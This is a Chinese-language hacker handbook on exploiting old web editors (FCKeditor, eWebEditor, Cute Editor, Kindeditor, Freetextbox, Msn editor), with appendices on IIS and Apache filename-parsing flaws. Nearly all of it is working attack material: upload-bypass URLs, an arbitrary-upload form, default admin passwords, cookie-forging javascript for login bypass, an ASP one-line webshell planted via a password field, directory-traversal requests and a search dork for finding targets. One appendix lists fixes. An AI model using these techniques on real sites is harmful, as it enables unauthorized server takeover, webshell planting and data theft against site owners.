编辑器漏洞手册

简介

#2014年8月21日

最初的手册版本，是由**北洋贱队**的各位朋友收集整理。时隔4年，我们再次整理了这些文件。目的是希望这种传统能延续下去。我们相信：星星之火可以燎原。希望大家能多提建议，完善这份手册。

#2010年某月某日

创建这样一个文档是为了能够使得众多需要得到帮助的人们，在她们最为困苦之时找到为自己点亮的那盏明灯，虽然这将揭示了某个寂静黑夜下一群躁动不安的人群.他们在享受快感，享受H4ck W0r|d带给他们的一切.

作为收集整理此文的修订者，我怀着无比深邃的怨念参考了诸多资料才使得此物最终诞生，在此感谢整理过程中所有施舍帮助于我的人们.愿他们幸福快乐，虎年如意！

非常希望各位能够与我联系，一并完成本文的创作。

本手册更新地址

http://navisec.it/编辑器漏洞手册/

文章目录

编号	名称	最后修订时间
1	FCKeditor	2010年
2	eWebEditor	2010年
3	Cute Editor	2010年
4	Webhtmleditor	2010年
5	Kindeditor	2010年
6	Freetextbox	2010年
7	Msn editor	2010年

FCKeditor

FCKeditor 编辑器页

```
FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html
```

FCKeditor 查看编辑器版本

```
FCKeditor/_whatsnew.html
```

FCKeditor V2.43 版本

```
FCKeditor/editor/filemanager/browser/default/connectors/php/config.php
```

FCKeditor V2.6.6版本

```
FCKeditor/editor/filemanager/connectors/asp/config.php
```

FCKeditor 匿名上传文件

影响版本:非优化/精简版本的FCKeditor
脆弱描述：
如果存在以下文件，打开后即可上传文件。
攻击利用:

```
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
```

FCKeditor 查看文件上传路径

```
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&Cu
```

XML页面中第二行 `url=/xxx`的部分就是默认基准上传路径

Note:
[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6
[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述：
FCKeditor v2.4.3中File类别默认拒绝上传类型：html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension为后缀。直接导致在win下在上传文件后面加个`.`来突破[未测试]。而在apache下，因为”Apache文件名解析缺陷漏洞”也可以利用之，详见”附录A”

另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码，其限制最为狭隘。

攻击利用:

```
允许其他任何后缀上传
```

利用2003路径解析漏洞上传木马

影响版本: 附录B
脆弱描述：
利用2003系统路径解析漏洞的原理，创建类似`bin.asp`如此一般的目录，再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用:

```
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
```

强制建立shell.asp目录：

```
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp
```

or

```
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Typ
```

Note:[`Sn4k3!]这个我也不知道咯，有些时候，手动不行，代码就是能成功，囧。

FCKeditor PHP上传任意文件漏洞

影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2
脆弱描述：
FCKeditor在处理文件上传时存在输入验证错误，远程攻击可以利用此漏洞上传任意文件。
在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传，而默认是禁用的。攻击利用: (请修改action字段为指定网址)：

```
<form id="frmUpload" enctype="multipart/form-data"
action="http://navisec.it/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a ne
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
```

Note:如想尝试v2.2版漏洞，则修改Type=任意值 即可，但注意，如果换回使用Media则必须大写首字母M,否则LINUX下，FCKeditor会对文件目录进行文件名校验，不会上传成功的。

FCKeditor 暴路径漏洞

影响版本：aspx版FCKeditor
攻击利用：

```
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&C
```

FCKeditor 文件上传“.”变“_”下划线的绕过方法

影响版本: FCKeditor => 2.4.x
脆弱描述：
我们上传的文件例如：shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。
攻击利用:

```
提交1.php+空格 就可以绕过去所有的，
```

※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]

Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html

FCKeditor 文件上传“.”变“_”下划线的绕过方法（二）

影响版本:=>2.4.x的最新版已修补
脆弱描述:
来源:T00LS.Net
由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。
上传第一次。被过滤为123_asp;123.jpg 从而无法运行。
但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。
文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。

如果通过上面的步骤进行测试没有成功，可能有以下几方面的原因：
1.FCKeditor没有开启文件上传功能，这项功能在安装FCKeditor时默认是关闭的。如果想上传文件，FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor，精简版的FCKeditor很多功能丢失，包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。

FCKeditor 新闻组件遍历目录漏洞

影响版本:Aspx与JSP版FCKeditor
脆弱描述：如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录

```
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolde
```

根据返回的XML信息可以查看网站所有的目录。

```
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
```

TYPE自定义变量任意上传文件漏洞

影响版本: 较早版本
脆弱描述：
通过自定义Type变量的参数，可以创建或上传文件到指定的目录中去，且没有上传文件格式的限制。
攻击利用:

```
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
```

打开这个地址就可以上传任何类型的文件了，Shell上传到的默认位置是:
http://navisec.it/UserFiles/all/1.asp
`Type=all` 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.

比如输入:

```
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
```

网马就可以传到网站的根目录下.

Note:如找不到默认上传文件夹可检查此文件:

```
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&Cu
```

eWebEditor

eWebEditor 基础知识

默认后台地址：
/ewebeditor/admin_login.asp
/WebEdior/admin/login.aspx
建议最好检测下admin_style.asp文件是否可以直接访问

默认数据库路径：

```
[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb
[PATH]/db/%23ewebeditor.mdb
```

默认密码：
admin/admin888 、 admin/admin、 admin/123456 、admin/admin999

点击“样式管理”—可以选择新增样式，或者修改一个非系统样式，将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer，只要是服务器允许执行的脚本类型即可，点击“提交”并设置工具栏—将“插入图片”控件添加上。而后—预览此样式，点击插入图片，上传WEBSHELL，在“代码”模式中查看上传文件的路径。

2、当数据库被管理员修改为asp、asa后缀的时候，可以插一句话木马服务端进入数据库，然后一句话木马客户端连接拿下webshell
3、上传后无法执行？目录没权限？帅锅你回去样式管理看你编辑过的那个样式，里面可以自定义上传路径的！！！
4、设置好了上传类型，依然上传不了麽？估计是文件代码被改了，可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做（详情见下文↓），能够设定自动保存远程文件的类型。
5、不能添加工具栏，但设定好了某样式中的文件类型，怎么办？↓这么办！
(请修改action字段)
Action.html
6、需要突破上传文件类型限制么？Come here! —>> 将图片上传类型修改为“aaspsp;”(不含引号)，将一句话shell文件名改为“1.asp;”(不含引号)并上传即可。—>本条信息来源：微笑刺客

eWebEditor 可下载数据库，但密文解不开

脆弱描述：
当我们下载数据库后查询不到密码MD5的明文时，可以去看看webeditor_style(14)这个样式表，看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力，构造地址来上传我们自己的WEBSHELL.
攻击利用:
比如 ID=46 s-name =standard1
构造 代码: ewebeditor.asp?id=content&style=standard
ID和和样式名改过后
ewebeditor.asp?id=46&style=standard1

eWebEditor遍历目录漏洞

脆弱描述：
ewebeditor/admin_uploadfile.asp
admin/upload.asp
过滤不严，造成遍历目录漏洞
攻击利用:
第一种:ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=http://navisec.it/../.. 看到整个网站文件了
第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..

eWebEditor 5.2 列目录漏洞

脆弱描述：
ewebeditor/asp/browse.asp
过滤不严，造成遍历目录漏洞
攻击利用：
http://navisec.it/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..

利用eWebEditor session欺骗漏洞,进入后台

脆弱描述：
漏洞文件:Admin_Private.asp
只判断了session，没有判断cookies和路径的验证问题。
攻击利用:
新建一个test.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111”%>
访问test.asp，再访问后台任何文件，for example:Admin_Default.asp

eWebEditor asp版 2.1.6 上传漏洞

攻击利用:（请修改action字段为指定网址）
ewebeditor asp版2.1.6上传漏洞利用程序.html

eWebEditor 2.7.0 注入漏洞

攻击利用:
http://navisec.it/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名：eWebEditor_System默认列名：sys_UserName、sys_UserPass，然后利用nbsi进行猜解.

eWebEditor2.8.0最终版删除任意文件漏洞

脆弱描述：
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中，这是ewebeditor的测试页面，无须登陆可以直接进入。
攻击利用: (请修改action字段为指定网址)
Del Files.html

eWebEditor PHP/ASP 后台通杀漏洞

影响版本: PHP ≥ 3.0~3.8与asp 2.8版也通用，或许低版本也可以，有待测试。
攻击利用:
进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.
这时候你清空浏览器的url,然后输入

javascript:alert(document.cookie=”adminuser=”+escape(“admin”));
javascript:alert(document.cookie=”adminpass=”+escape(“admin”));
javascript:alert(document.cookie=”admindj=”+escape(“1”));

而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如../ewebeditor/admin/default.php，就会直接进去。

eWebEditor for php任意文件上传漏洞

影响版本:ewebeditor php v3.8 or older version
脆弱描述:
此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格，并定义上传类型。
攻击利用:
phpupload.html

eWebEditor JSP版漏洞

大同小异，我在本文档不想多说了，因为没环境 测试，网上垃圾场那么大，不好排查。用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。

eWebEditor 2.8 商业版插一句话木马

影响版本:=>2.8 商业版
攻击利用:
登陆后台，点击修改密码—新密码设置为 `1":eval request("h")’`
设置成功后，访问asp/config.asp文件即可，一句话木马被写入到这个文件里面了.

注意：可能因为转载的关系，代码会变掉，最好本地调试好代码再提交。

eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)

脆弱描述：
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
攻击利用:
默认上传地址：/ewebeditornet/upload.aspx
可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
成功以后查看源代码找到uploadsave查看上传保存地址，默认传到uploadfile这个文件夹里。

southidceditor(一般使用v2.8.0版eWeb核心)

http://navisec.it/admin/southidceditor/datas/southidceditor.mdb
http://navisec.it/admin/southidceditor/admin/admin_login.asp
http://navisec.it/admin/southidceditor/popup.asp

bigcneditor(eWeb 2.7.5 VIP核心)
其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp，提示“权限不够”4字真言，估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。

或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作?☺

Cute Editor

Cute Editor在线编辑器本地包含漏洞

影响版本:
CuteEditor For Net 6.4
脆弱描述：
可以随意查看网站文件内容，危害较大。
攻击利用:
http://navisec.it/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

Cute Editor Asp.Net版利用iis解析漏洞获得权限

影响版本：
CuteEditor for ASP.NET中文版脆弱描述：
脆弱描述：
CuteEditor对上传文件名未重命名，导致其可利用IIS文件名解析Bug获得webshell权限。
攻击利用：
可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。
在编辑器中点击“多媒体插入”，上传一个名为“xxx.asp;.avi”的网马，以此获得权限。

Webhtmleditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本：<= Webhtmleditor最终版1.7 (已停止更新)
脆弱描述/攻击利用：
对上传的图片或其他文件无重命名操作，导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制，对于此类因编辑器作者意识犯下的错误，就算遭遇缩略图，文件头检测，也可使用图片木马 插入一句话来突破。

Kindeditor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
脆弱描述/攻击利用：
拿官方做个演示：进入http://navisec.it/ke/examples/index.html 随意点击一个demo后点图片上传，某君上传了如下文件：http://navisec.it/ke/attached/test.asp;.jpg 大家可以前去围观。(现已失效，请速至老琴房弹奏《Secret》回到09年8月份观看)
Note:参见附录C原理解析。

Freetextbox

Freetextbox遍历目录漏洞

影响版本：未知
脆弱描述：
因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
在编辑器页面点图片会弹出一个框（抓包得到此地址）构造如下，可遍历目录。
http://navisec.it/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..

Freetextbox Asp.Net版利用IIS解析漏洞获得权限

影响版本：所有版本
脆弱描述：
没做登陆验证可以直接访问上传木马
Freetextbox 3-3-1 可以直接上传任意格式的文件
Freetextbox 1.6.3 及其他版本可以上传 格式为x.asp;.jpg
攻击利用：
利用IIS解析漏洞拿SHELL。上传后SHELL的路径为http://navisec.it/images/x.asp;.jpg

Msn editor

利用WIN 2003 IIS文件名称解析漏洞获得SHELL

影响版本：未知
脆弱描述：
点击图片上传后会出现上传页面，地址为
http://navisec.it/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后，地址为
http://navisec.it/news/uppic/41513102009204012_1.gif
记住这时候的路径，再点击图片的上传，这时候地址就变成了
http://navisec.it/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012
很明显。图片的地址是根据RemNum后面的编号生成的。
攻击利用:
配合IIS的解析漏洞，把RemNum后面的数据修改为1.asp;41513102009204012，变成下面这个地址
http://navisec.it/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012
然后在浏览器里打开，然后选择你的脚本木马上传，将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif
直接打开就是我们的小马地址！

附录

附录A - Apache文件名解析缺陷漏洞

测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux

1.国外(SSR TEAM)发了多个advisory称Apache’s MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞，包括Discuz!那个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。

2.S4T的superhei在blog上发布了这个apache的小特性，即apache 是从后面开始检查后缀，按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。

3.superhei已经说的非常清楚了，可以充分利用在上传漏洞上，我按照普遍允许上传的文件格式测试了一下，列举如下(乱分类勿怪)

典型型:rar
备份型:bak,lock
流媒体型：wma,wmv,asx,as,mp4,rmvb
微软型:sql,chm,hlp,shtml,asp
任意型:test,fake,ph4nt0m
特殊型:torrent
程序型：jsp,c,cpp,pl,cgi

4.整个漏洞的关键就是apache的”合法后缀”到底是哪些，不是”合法后缀”的都可以被利用。

5.测试环境
a.php
<? phpinfo();?>
然后增加任意后缀测试,a.php.aaa,a.php.aab….

By cloie, in ph4nt0m.net(c) Security.

附录B - iis文件夹名，解析漏洞

安装了iis6的服务器(windows2003)，受影响的文件名后缀

有.asp .asa .cdx .cer .pl .php .cgi

Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞，当文件夹名为类似hack.asp的时候（即文件夹名看起来像一个ASP文件的文件名），此时此文件夹下的任何类型的文件(比如.gif，.jpg，.txt等)都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件，通过访问这个文件即可运行木马。如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等结尾，那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器而执行。

附录C - iis文件名，解析漏洞

漏洞描述：
当文件名为[YYY].asp;[ZZZ].jpg时，Microsoft IIS会自动以asp格式来进行解析。
而当文件名为[YYY].php;[ZZZ].jpg时，Microsoft IIS会自动以php格式来进行解析。
其中[YYY]与[ZZZ]处为可变化字符串。
影响平台：
Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0)
修补方法：
1、等待微软相关的补丁包
2、关闭图片所在目录的脚本执行权限（前提是你的某些图片没有与程序混合存放）
3、校验网站程序中所有上传图片的代码段，对形如[YYY].asp;[ZZZ].jpg的图片做拦截
备注：
对于Windows Server 2008(IIS7)以及Windows Server 2008 R2(IIS7.5) 则未受影响

Note:(FW) for http://www.cnblogs.com/webserverguard/archive/2009/09/14/1566597.html

其他

Version

1.3

编辑人员

北洋贱队@Bbs.SecEye.Org：
MIAO、猪哥靓、Hell-Phantom、Liange、Fjhh、GxM、Sn4k3! 、微笑刺客……

联系方式

navisec@163.com
security0day@gmail.com (old)

本手册原地址： https://docs.google.com/document/d/1w_61xR8U7nmn4Y0CvBHpG1uFIU2ORx69QnqTxQt8Km0/edit?pli=1